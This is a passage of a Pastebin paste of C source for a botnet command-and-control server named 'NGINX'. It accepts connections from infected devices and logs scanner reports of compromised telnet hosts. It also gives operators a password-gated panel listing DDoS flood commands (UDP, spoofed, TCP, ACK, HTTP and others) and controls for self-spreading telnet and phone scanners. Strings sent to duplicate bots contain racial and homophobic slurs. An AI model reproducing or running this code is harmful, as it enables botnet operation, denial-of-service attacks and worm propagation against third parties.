Advertisement
ipuv

NGINX serverside

Sep 23rd, 2017
199
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 33.39 KB | None | 0 0
  1. /*
  2. Blue = '\x1b[0;34m'
  3. Brown = '\x1b[0;33m'
  4. Cyan = '\x1b[0;36m'
  5. DarkGray = '\x1b[1;30m'
  6. Green = '\x1b[0;32m'
  7. LightBlue = '\x1b[1;34m'
  8. LightCyan = '\x1b[1;36m'
  9. LightGray = '\x1b[0;37m'
  10. LightGreen = '\x1b[1;32m'
  11. LightPurple = '\x1b[1;35m'
  12. LightRed = '\x1b[1;31m'
  13. Normal = '\x1b[0m'
  14. Purple = '\x1b[0;35m'
  15. Red = '\x1b[0;31m'
  16. White = '\x1b[1;37m'
  17. Yellow = '\x1b[1;33m
  18. */
  19. #include <stdio.h>
  20. #include <stdlib.h>
  21. #include <string.h>
  22. #include <sys/types.h>
  23. #include <sys/socket.h>
  24. #include <netdb.h>
  25. #include <unistd.h>
  26. #include <time.h>
  27. #include <fcntl.h>
  28. #include <sys/epoll.h>
  29. #include <errno.h>
  30. #include <pthread.h>
  31. #include <signal.h>
  32. #define MAXFDS 1000000
  33. #define RED     "\x1b[0;31m"
  34. #define GREEN   "\x1b[0;32m"
  35. #define C_RESET   "\x1b[0m"
  36.  
  37. char *colorCodes[] = {"31m", "32m", "33m", "34m", "35m", "36m", "1;34m", "1;33m"};
  38.  
  39. struct account {
  40. char id[20];
  41. char password[20];
  42. };
  43.  
  44. static struct account accounts[10]; //max users is set on 50
  45. struct clientdata_t {
  46.         uint32_t ip;
  47.         char build[7];
  48.         char connected;
  49. } clients[MAXFDS];
  50. struct telnetdata_t {
  51.         int connected;
  52. } managements[MAXFDS];
  53.  
  54. ////////////////////////////////////
  55. static volatile FILE *telFD;
  56. static volatile FILE *fileFD;
  57. static volatile int epollFD = 0;
  58. static volatile int listenFD = 0;
  59. static volatile int managesConnected = 0;
  60. static volatile int TELFound = 0;
  61. static volatile int scannerreport;
  62. ////////////////////////////////////
  63.  
  64. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  65.  
  66. {
  67.         int total = 0, got = 1;
  68.         while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  69.         return got;
  70. }
  71.  
  72. void trim(char *str)
  73. {
  74.     int i;
  75.     int begin = 0;
  76.     int end = strlen(str) - 1;
  77.     while (isspace(str[begin])) begin++;
  78.     while ((end >= begin) && isspace(str[end])) end--;
  79.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  80.     str[i - begin] = '\0';
  81. }
  82. static int make_socket_non_blocking (int sfd)
  83. {
  84.         int flags, s;
  85.         flags = fcntl (sfd, F_GETFL, 0);
  86.         if (flags == -1)
  87.         {
  88.                 perror ("fcntl");
  89.                 return -1;
  90.         }
  91.         flags |= O_NONBLOCK;
  92.         s = fcntl (sfd, F_SETFL, flags);
  93.         if (s == -1)
  94.         {
  95.                 perror ("fcntl");
  96.                 return -1;
  97.         }
  98.         return 0;
  99. }
  100. static int create_and_bind (char *port)
  101. {
  102.         struct addrinfo hints;
  103.         struct addrinfo *result, *rp;
  104.         int s, sfd;
  105.         memset (&hints, 0, sizeof (struct addrinfo));
  106.         hints.ai_family = AF_UNSPEC;
  107.         hints.ai_socktype = SOCK_STREAM;
  108.         hints.ai_flags = AI_PASSIVE;
  109.         s = getaddrinfo (NULL, port, &hints, &result);
  110.         if (s != 0)
  111.         {
  112.                 fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  113.                 return -1;
  114.         }
  115.         for (rp = result; rp != NULL; rp = rp->ai_next)
  116.         {
  117.                 sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  118.                 if (sfd == -1) continue;
  119.                 int yes = 1;
  120.                 if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  121.                 s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  122.                 if (s == 0)
  123.                 {
  124.                         break;
  125.                 }
  126.                 close (sfd);
  127.         }
  128.         if (rp == NULL)
  129.         {
  130.                 fprintf (stderr, "USING IRELIVANT PORTS\n");
  131.                 return -1;
  132.         }
  133.         freeaddrinfo (result);
  134.         return sfd;
  135. }
  136. void broadcast(char *msg, int us, char *sender)
  137. {
  138.         int sendMGM = 1;
  139.         if(strcmp(msg, "PING") == 0) sendMGM = 0;
  140.         char *wot = malloc(strlen(msg) + 10);
  141.         memset(wot, 0, strlen(msg) + 10);
  142.         strcpy(wot, msg);
  143.         trim(wot);
  144.         time_t rawtime;
  145.         struct tm * timeinfo;
  146.         time(&rawtime);
  147.         timeinfo = localtime(&rawtime);
  148.         char *timestamp = asctime(timeinfo);
  149.         trim(timestamp);
  150.         int i;
  151.         for(i = 0; i < MAXFDS; i++)
  152.         {
  153.                 if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
  154.                 if(sendMGM && managements[i].connected)
  155.                 {
  156.                         send(i, "\x1b[31m", 5, MSG_NOSIGNAL);
  157.                         send(i, sender, strlen(sender), MSG_NOSIGNAL);
  158.                         send(i, ": ", 2, MSG_NOSIGNAL);
  159.                 }
  160.                 //printf("sent to fd: %d\n", i);
  161.                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  162.                 if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[36m~> \x1b[31m", 13, MSG_NOSIGNAL);
  163.                 else send(i, "\n", 1, MSG_NOSIGNAL);
  164.         }
  165.         free(wot);
  166. }
  167. void *epollEventLoop(void *useless)
  168. {
  169.         struct epoll_event event;
  170.         struct epoll_event *events;
  171.         int s;
  172.         events = calloc (MAXFDS, sizeof event);
  173.         while (1)
  174.         {
  175.                 int n, i;
  176.                 n = epoll_wait (epollFD, events, MAXFDS, -1);
  177.                 for (i = 0; i < n; i++)
  178.                 {
  179.                         if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  180.                         {
  181.                                 clients[events[i].data.fd].connected = 0;
  182.                                 close(events[i].data.fd);
  183.                                 continue;
  184.                         }
  185.                         else if (listenFD == events[i].data.fd)
  186.                         {
  187.                                 while (1)
  188.                                 {
  189.                                         struct sockaddr in_addr;
  190.                                         socklen_t in_len;
  191.                                         int infd, ipIndex;
  192.                                         in_len = sizeof in_addr;
  193.                                         infd = accept (listenFD, &in_addr, &in_len);
  194.                                         if (infd == -1)
  195.                                         {
  196.                                                 if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  197.                                                 else
  198.                                                 {
  199.                                                         perror ("accept");
  200.                                                         break;
  201.                                                 }
  202.                                         }
  203.                                         clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  204.                                         int dup = 0;
  205.                                         for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  206.                                         {
  207.                                                 if(!clients[ipIndex].connected || ipIndex == infd) continue;
  208.                                                 if(clients[ipIndex].ip == clients[infd].ip)
  209.                                                 {
  210.                                                         dup = 1;
  211.                                                         break;
  212.                                                 }
  213.                                         }
  214.  
  215.                                         if(dup)
  216.                                         {                  
  217.                                                 if(send(infd, "!* GTFONIGGER\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  218.                                                 if(send(infd, "!* GTFOFAG\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  219.                                                 if(send(infd, "!* GTFODUP\n\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  220.                                                 if(send(infd, "!* DUPES\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  221.                                                 if(send(infd, "!* GTFOPUSSY\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  222.                                                 if(send(infd, "!* LOLNOGTFO\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  223.                                                 close(infd);
  224.                                                 continue;
  225.                                         }
  226.  
  227.                                         s = make_socket_non_blocking (infd);
  228.                                         if (s == -1) { close(infd); break; }
  229.  
  230.                                         event.data.fd = infd;
  231.                                         event.events = EPOLLIN | EPOLLET;
  232.                                         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  233.                                         if (s == -1)
  234.                                         {
  235.                                                 perror ("epoll_ctl");
  236.                                                 close(infd);
  237.                                                 break;
  238.                                         }
  239.  
  240.                                         clients[infd].connected = 1;
  241.                                        
  242.                                 }
  243.                                 continue;
  244.                         }
  245.                         else
  246.                         {
  247.                                 int thefd = events[i].data.fd;
  248.                                 struct clientdata_t *client = &(clients[thefd]);
  249.                                 int done = 0;
  250.                                 client->connected = 1;
  251.                                 while (1)
  252.                                 {
  253.                                         ssize_t count;
  254.                                         char buf[2048];
  255.                                         memset(buf, 0, sizeof buf);
  256.  
  257.                                         while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  258.                                         {
  259.                                                 if(strstr(buf, "\n") == NULL) { done = 1; break; }
  260.                                                 trim(buf);
  261.                                                 if(strcmp(buf, "PING") == 0)
  262.                                                 {
  263.                                                 if(send(thefd, "pOnG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  264.                                                         continue;
  265.                                                 }
  266.                                                 if(strstr(buf, "REPORT ") == buf)
  267.                                                 {
  268.                                                         char *line = strstr(buf, "REPORT ") + 7;
  269.                                                         fprintf(telFD, "%s\n", line);
  270.                                                         fflush(telFD);
  271.                                                         TELFound++;
  272.                                                         continue;
  273.                                                 }
  274.                                                 if(strstr(buf, "PROBING") == buf)
  275.                                                 {
  276.                                                         char *line = strstr(buf, "PROBING");
  277.                                                         scannerreport = 1;
  278.                                                         continue;
  279.                                                 }
  280.                                                 if(strstr(buf, "REMOVING PROBE") == buf)
  281.                                                 {
  282.                                                         char *line = strstr(buf, "REMOVING PROBE");
  283.                                                         scannerreport = 0;
  284.                                                         continue;
  285.                                                 }
  286.                                                 if(strcmp(buf, "pOnG") == 0)
  287.                                                 {
  288.                                                         continue;
  289.                                                 }
  290.  
  291.                                                 printf("buf: \"%s\"\n", buf);
  292.                                         }
  293.  
  294.                                         if (count == -1)
  295.                                         {
  296.                                                 if (errno != EAGAIN)
  297.                                                 {
  298.                                                         done = 1;
  299.                                                 }
  300.                                                 break;
  301.                                         }
  302.                                         else if (count == 0)
  303.                                         {
  304.                                                 done = 1;
  305.                                                 break;
  306.                                         }
  307.                                 }
  308.  
  309.                                 if (done)
  310.                                 {
  311.                                         client->connected = 0;
  312.                                         close(thefd);
  313.                                 }
  314.                         }
  315.                 }
  316.         }
  317. }
  318. unsigned int clientsConnected()
  319. {
  320.         int i = 0, total = 0;
  321.         for(i = 0; i < MAXFDS; i++)
  322.         {
  323.                 if(!clients[i].connected) continue;
  324.                 total++;
  325.         }
  326.  
  327.         return total;
  328. }
  329. void *titleWriter(void *sock)
  330. {
  331.         int thefd = (int)sock;
  332.         char string[2048];
  333.         while(1)
  334.         {
  335.                 memset(string, 0, 2048);
  336.                 sprintf(string, "%c]0; [+] BackDoored: %d [-] UID0: %d[+]%c", '\033', clientsConnected(), managesConnected, '\007');
  337.                 if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  338.  
  339.                 sleep(3);
  340.         }
  341. }
  342.  
  343. int Search_in_File(char *str)
  344. {
  345.     FILE *fp;
  346.     int line_num = 0;
  347.     int find_result = 0, find_line=0;
  348.     char temp[512];
  349.  
  350.     if((fp = fopen("login.txt", "r")) == NULL){
  351.         return(-1);
  352.     }
  353.     while(fgets(temp, 512, fp) != NULL){
  354.         if((strstr(temp, str)) != NULL){
  355.             find_result++;
  356.             find_line = line_num;
  357.         }
  358.         line_num++;
  359.     }
  360.     if(fp)
  361.         fclose(fp);
  362.  
  363.     if(find_result == 0)return 0;
  364.  
  365.     return find_line;
  366. }
  367.  void client_addr(struct sockaddr_in addr){
  368.         printf("IP:%d.%d.%d.%d\n",
  369.         addr.sin_addr.s_addr & 0xFF,
  370.         (addr.sin_addr.s_addr & 0xFF00)>>8,
  371.         (addr.sin_addr.s_addr & 0xFF0000)>>16,
  372.         (addr.sin_addr.s_addr & 0xFF000000)>>24);
  373.         FILE *logFile;
  374.         logFile = fopen("server.log", "a");
  375.         fprintf(logFile, "\nIP:%d.%d.%d.%d ",
  376.         addr.sin_addr.s_addr & 0xFF,
  377.         (addr.sin_addr.s_addr & 0xFF00)>>8,
  378.         (addr.sin_addr.s_addr & 0xFF0000)>>16,
  379.         (addr.sin_addr.s_addr & 0xFF000000)>>24);
  380.         fclose(logFile);
  381. }
  382.  
  383. void *telnetWorker(void *sock)
  384. {
  385.         char usernamez[80];
  386.         int thefd = (int)sock;
  387.         int find_line;
  388.         managesConnected++;
  389.         pthread_t title;
  390.         char counter[2048];
  391.         memset(counter, 0, 2048);
  392.         char buf[2048];
  393.         char* nickstring;
  394.         char* username;
  395.         char* password;
  396.         memset(buf, 0, sizeof buf);
  397.         char botnet[2048];
  398.         memset(botnet, 0, 2048);
  399.        
  400.         FILE *fp;
  401.         int i=0;
  402.         int c;
  403.         fp=fopen("login.txt", "r");
  404.         while(!feof(fp))
  405.         {
  406.                 c=fgetc(fp);
  407.                 ++i;
  408.         }
  409.         int j=0;
  410.         rewind(fp);
  411.         while(j!=i-1)
  412.         {
  413.             fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  414.             ++j;
  415.         }
  416.        
  417.         sprintf(botnet, "\x1b[%sUID Here: \x1b[30m", colorCodes[(rand() % 6)]);
  418.         if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  419.         trim(buf);
  420.         sprintf(usernamez, buf);
  421.         nickstring = ("%s", buf);
  422.         find_line = Search_in_File(nickstring);
  423.         if(strcmp(nickstring, accounts[find_line].id) == 0){   
  424.         if(send(thefd, "\x1b[36m*           LOADING NGINX          *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;  
  425.         sprintf(botnet, "\x1b[%sCyfrinair: \x1b[30m ", colorCodes[(rand() % 6)]);
  426.         if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  427.         if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  428.         trim(buf);
  429.         if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  430.         memset(buf, 0, 2048);
  431.         goto Title;
  432.         }
  433.  
  434.         failed:
  435.         if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  436.         if(send(thefd, "\x1b[36m**************************************\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  437.         if(send(thefd, "\x1b[35m*   Dude get the fuck out My house.  *\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  438.         if(send(thefd, "\x1b[36m**************************************\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  439.             sleep(2);
  440.         goto end;
  441.  
  442.         Title:
  443.         sprintf(botnet, "\r\n       \x1b[%s\r\n", colorCodes[(rand() % 6)]);
  444.         if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  445.         char ascii_banner_line1 [5000];
  446.         char ascii_banner_line2 [5000];
  447.         char ascii_banner_line3 [5000];
  448.         char ascii_banner_line4 [5000];
  449.         char ascii_banner_line5 [5000];
  450.         char ascii_banner_line6 [5000];
  451.         char ascii_banner_line7 [5000];
  452.         char ascii_banner_line8 [5000];
  453.         char ascii_banner_line9 [5000];
  454.         char ascii_banner_line10 [5000];
  455.         char line1 [80];
  456.         char line2 [80];
  457.         char line3 [80];
  458.  
  459.         sprintf(ascii_banner_line1,"                                                _                               \r\n");
  460.         sprintf(ascii_banner_line2,"                                               (_)                              \r\n");
  461.         sprintf(ascii_banner_line3,"               _  _  _  _       _  _  _  _   _  _      _  _  _  _     _         _  \r\n");
  462.         sprintf(ascii_banner_line4,"              (_)(_)(_)(_)_   _(_)(_)(_)(_) (_)(_)    (_)(_)(_)(_)_  (_) _   _ (_) \r\n");
  463.         sprintf(ascii_banner_line5,"              (_)        (_) (_)        (_)    (_)    (_)        (_)    (_)_(_)    \r\n");
  464.         sprintf(ascii_banner_line6,"              (_)        (_) (_)        (_)    (_)    (_)        (_)     _(_)_     \r\n");
  465.         sprintf(ascii_banner_line7,"              (_)        (_) (_)_  _  _ (_)  _ (_) _  (_)        (_)  _ (_) (_) _  \r\n");
  466.         sprintf(ascii_banner_line8,"              (_)        (_)   (_)(_)(_)(_) (_)(_)(_) (_)        (_) (_)       (_) \r\n");
  467.         sprintf(ascii_banner_line9,"                                      (_)                                      \r\n");
  468.         sprintf(ascii_banner_line10,"                              (_)(_)(_)                                        \r\n");
  469.         sprintf(line1,"\x1b[0;35m                                          Made By h3kkr.                       \r\n");
  470.         sprintf(line2,"\x1b[0;35m                                       Welcome %s To NGINX\r\n", accounts[find_line].id, buf);
  471.  
  472.         if(send(thefd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  473.         if(send(thefd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  474.         if(send(thefd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  475.         if(send(thefd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  476.         if(send(thefd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  477.         if(send(thefd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  478.         if(send(thefd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  479.         if(send(thefd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  480.         if(send(thefd, ascii_banner_line8, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  481.         if(send(thefd, ascii_banner_line8, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  482.         if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  483.         if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end;
  484.         while(1) {
  485.         if(send(thefd, "\x1b[0;36m~> \x1b[0;36m", 13, MSG_NOSIGNAL) == -1) goto end;
  486.         break;
  487.         }
  488.         pthread_create(&title, NULL, &titleWriter, sock);
  489.         managements[thefd].connected = 1;
  490.        
  491.         while(fdgets(buf, sizeof buf, thefd) > 0)
  492.         {
  493.         if(strstr(buf, "BOTS"))
  494.         {  
  495.         sprintf(botnet, "[+] BackDoored: %d [-] UID0: %d [+]\r\n", clientsConnected(), managesConnected);
  496.         if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  497.         }
  498.         if(strstr(buf, "!* TCP"))
  499.         {  
  500.         sprintf(botnet, "Using Transmission Control Protocol\r\n");
  501.         if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  502.         }
  503.         if(strstr(buf, "!* UDP"))
  504.         {  
  505.         sprintf(botnet, "Using User Datagram Protocol\r\n");
  506.         if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  507.         }
  508.         if(strstr(buf, "!* STD"))
  509.         {  
  510.         sprintf(botnet, "Using Spoofed UDP Flood!\r\n");
  511.         if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  512.         }      
  513.         if(strstr(buf, "!* HTTP"))
  514.         {  
  515.         sprintf(botnet, "HTTP Flood Started!\r\n");
  516.         if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  517.         }
  518.         if(strstr(buf, "!* SCANNER ON"))
  519.         {  
  520.         sprintf(botnet, "SCANNER STARTED!\r\n");
  521.         if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  522.         }
  523.         if(strstr(buf, "!* SCANNER OFF"))
  524.         {  
  525.         sprintf(botnet, "SCANNER STOPPED!\r\n");
  526.         if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  527.         }
  528.         if(strstr(buf, "!* PHONE ON"))
  529.         {  
  530.         sprintf(botnet, "PHONE SCANNER STARTED!\r\n");
  531.         if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  532.         }
  533.         if(strstr(buf, "!* PHONE OFF"))
  534.         {  
  535.         sprintf(botnet, "PHONE SCANNER STOPPED!\r\n");
  536.         if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  537.         }
  538.         if(strstr(buf, "PORTS"))
  539.         {  
  540.         sprintf(botnet, "PORTS: 77=TCP, 53=DNS, 443=NFO/OVH Source Port, 22=SSH, 80=HTTP, and PS3/XBOX=3074\r\n");
  541.         if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  542.         }
  543.         if(strstr(buf, "HELP")) {
  544.                 pthread_create(&title, NULL, &titleWriter, sock);
  545.                 char helpline1  [80];
  546.                 char helpline2  [80];
  547.                 char helpline3  [80];
  548.                 char helpline4  [80];
  549.                
  550.                 sprintf(helpline1,  "\x1b[0;35mType A Option From Below:\r\n");
  551.                 sprintf(helpline2,  "\x1b[0;36m[\x1b[36mDDOS\x1b[0;36m] ~ DDOS Commands\r\n");
  552.                 sprintf(helpline3,  "\x1b[0;35m[\x1b[0;35mEXTRA\x1b[0;35m] ~ Extra Lit Commands\r\n");
  553.                 sprintf(helpline4,  "\x1b[0;36m[\x1b[36mSELFREP\x1b[0;36m] ~ ADMINS ONLY\r\n");;
  554.                
  555.                 if(send(thefd, helpline1,  strlen(helpline1),   MSG_NOSIGNAL) == -1) goto end;
  556.                 if(send(thefd, helpline2,  strlen(helpline2),   MSG_NOSIGNAL) == -1) goto end;
  557.                 if(send(thefd, helpline3,  strlen(helpline3),   MSG_NOSIGNAL) == -1) goto end;
  558.                 if(send(thefd, helpline4,  strlen(helpline4),   MSG_NOSIGNAL) == -1) goto end;
  559.                 pthread_create(&title, NULL, &titleWriter, sock);
  560.                 while(1) {
  561.                 if(send(thefd, "\x1b[0;36m~>: \x1b[1;36m", 12, MSG_NOSIGNAL) == -1) goto end;
  562.                 break;
  563.                 }
  564.                 continue;
  565.         }
  566.                     if(strstr(buf, "DDOS")) {
  567.                 pthread_create(&title, NULL, &titleWriter, sock);
  568.                 char ddosline1  [80];
  569.                 char ddosline2  [80];
  570.                 char ddosline3  [80];
  571.                 char ddosline4  [80];
  572.                 char ddosline5  [80];
  573.                 char ddosline6  [80];
  574.                 char ddosline7  [80];
  575.                 char ddosline8  [80];
  576.  
  577.                 sprintf(ddosline1, "\x1b[36m\x1b[36m !* UDP [IP] [PORT] [TIME] 32 1337 400 | UDP FLOOD\r\n");
  578.                 sprintf(ddosline2, "\x1b[35m\x1b[35m !* STD [IP] [PORT] [TIME] | STD FLOOD\r\n");
  579.                 sprintf(ddosline3, "\x1b[36m\x1b[36m !* TCP [IP] [PORT] [TIME] 32 all 1337 400| TCP FLOOD\r\n");
  580.                 sprintf(ddosline4, "\x1b[35m\x1b[35m !* UDP [IP] [PORT] [TIME] 32 ack 1337 400 | ACK FLOOD\r\n");
  581.                 sprintf(ddosline5, "\x1b[36m\x1b[36m !* JUNK [IP] [PORT] [TIME] | JUNK FLOOD\r\n");
  582.                 sprintf(ddosline6, "\x1b[35m\x1b[35m !* HOLD [IP] [PORT] [TIME] | HOLD FLOOD\r\n");
  583.                 sprintf(ddosline7, "\x1b[36m\x1b[36m !* COMBO [IP] [PORT] [TIME] | COMBO FLOOD HOLD AND JUNK\r\n");
  584.                 sprintf(ddosline8, "\x1b[35m\x1b[35m !* HUG [IP] [PORT] [TIME] | HUG FLOOD\r\n");
  585.  
  586.                 if(send(thefd, ddosline1,  strlen(ddosline1),   MSG_NOSIGNAL) == -1) goto end;
  587.                 if(send(thefd, ddosline2,  strlen(ddosline2),   MSG_NOSIGNAL) == -1) goto end;
  588.                 if(send(thefd, ddosline3,  strlen(ddosline3),   MSG_NOSIGNAL) == -1) goto end;
  589.                 if(send(thefd, ddosline4,  strlen(ddosline4),   MSG_NOSIGNAL) == -1) goto end;
  590.                 if(send(thefd, ddosline5,  strlen(ddosline5),   MSG_NOSIGNAL) == -1) goto end;
  591.                 if(send(thefd, ddosline6,  strlen(ddosline6),   MSG_NOSIGNAL) == -1) goto end;
  592.                 if(send(thefd, ddosline7,  strlen(ddosline7),   MSG_NOSIGNAL) == -1) goto end;
  593.                 if(send(thefd, ddosline8,  strlen(ddosline8),   MSG_NOSIGNAL) == -1) goto end;
  594.                 pthread_create(&title, NULL, &titleWriter, sock);
  595.                 while(1) {
  596.                 if(send(thefd, "\x1b[0;36m~> \x1b[1;36m", 12, MSG_NOSIGNAL) == -1) goto end;
  597.                 break;
  598.                 }
  599.                 continue;
  600.             }
  601.                         if(strstr(buf, "SELFREP")) {
  602.                 pthread_create(&title, NULL, &titleWriter, sock);
  603.                 char repline1  [80];
  604.                 char repline2  [80];
  605.                 char repline3  [80];
  606.                 char repline4  [80];
  607.                
  608.                 sprintf(repline1,  "\x1b[36m !* PHONE ON | TURNS ON PHONE SELF REPLIFICATION\r\n");
  609.                 sprintf(repline2,  "\x1b[35m !* SCANNER ON | TURNS ON TELNET SELF REPLIFICATION\r\n");
  610.                 sprintf(repline3,  "\x1b[36m !* PHONE OFF | TURNS OFF PHONE SELF REPLIFICATION\r\n");
  611.                 sprintf(repline4,  "\x1b[35m !* SCANNER OFF | TURNS OFF TELNET SELF REPLIFICATION\r\n");
  612.                 //Made By h3kkr.023125
  613.                 if(send(thefd, repline1,  strlen(repline1), MSG_NOSIGNAL) == -1) goto end;
  614.                 if(send(thefd, repline2,  strlen(repline2), MSG_NOSIGNAL) == -1) goto end;
  615.                 if(send(thefd, repline3,  strlen(repline3), MSG_NOSIGNAL) == -1) goto end;
  616.                 if(send(thefd, repline4,  strlen(repline4), MSG_NOSIGNAL) == -1) goto end;
  617.                 pthread_create(&title, NULL, &titleWriter, sock);
  618.                 while(1) {
  619.                 if(send(thefd, "\x1b[0;36m~> \x1b[1;36m", 12, MSG_NOSIGNAL) == -1) goto end;
  620.                 break;
  621.                 }
  622.                 continue;
  623.             }
  624.  
  625.             if(strstr(buf, "EXTRA")) {
  626.                 pthread_create(&title, NULL, &titleWriter, sock);
  627.                 char extraline1  [80];
  628.                 char extraline2  [80];
  629.                 char extraline3  [80];
  630.                 char extraline4  [80];
  631.                 char extraline5  [80];
  632.                
  633.                 sprintf(extraline1,  "\x1b[36m CLEAR | CLEARS SCREEN\r\n");
  634.                 sprintf(extraline2,  "\x1b[35m CLEAR_SMALL | SMALL NGINX\r\n");
  635.                 sprintf(extraline3,  "\x1b[36m PORT | SOME PORTS \r\n");
  636.                 sprintf(extraline4,  "\x1b[35m BOTS | BOT COUNT\r\n");
  637.                
  638.                 if(send(thefd, extraline1,  strlen(extraline1), MSG_NOSIGNAL) == -1) goto end;
  639.                 if(send(thefd, extraline2,  strlen(extraline2), MSG_NOSIGNAL) == -1) goto end;
  640.                 if(send(thefd, extraline3,  strlen(extraline3), MSG_NOSIGNAL) == -1) goto end;
  641.                 if(send(thefd, extraline4,  strlen(extraline4), MSG_NOSIGNAL) == -1) goto end;
  642.                 if(send(thefd, extraline5,  strlen(extraline5), MSG_NOSIGNAL) == -1) goto end;
  643.                 pthread_create(&title, NULL, &titleWriter, sock);
  644.                 while(1) {
  645.                 if(send(thefd, "\x1b[0;36m~> \x1b[0;36m", 12, MSG_NOSIGNAL) == -1) goto end;
  646.                 break;
  647.                 }
  648.                 continue;
  649.             }
  650.  
  651.         if(strstr(buf, "CLEAR")){
  652.  
  653.         if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  654.         if(send(thefd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  655.         if(send(thefd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  656.         if(send(thefd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  657.         if(send(thefd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  658.         if(send(thefd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  659.         if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  660.         if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end;
  661.         if(send(thefd, line3, strlen(line3), MSG_NOSIGNAL) == -1) goto end;
  662.         managements[thefd].connected = 1;
  663.         }
  664.        
  665.         if(strstr(buf, "clear")){
  666.         if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  667.         if(send(thefd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  668.         if(send(thefd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  669.         if(send(thefd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  670.         if(send(thefd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  671.         if(send(thefd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  672.         if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  673.         if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end;
  674.         if(send(thefd, line3, strlen(line3), MSG_NOSIGNAL) == -1) goto end;
  675.         managements[thefd].connected = 1;
  676.         }
  677.  
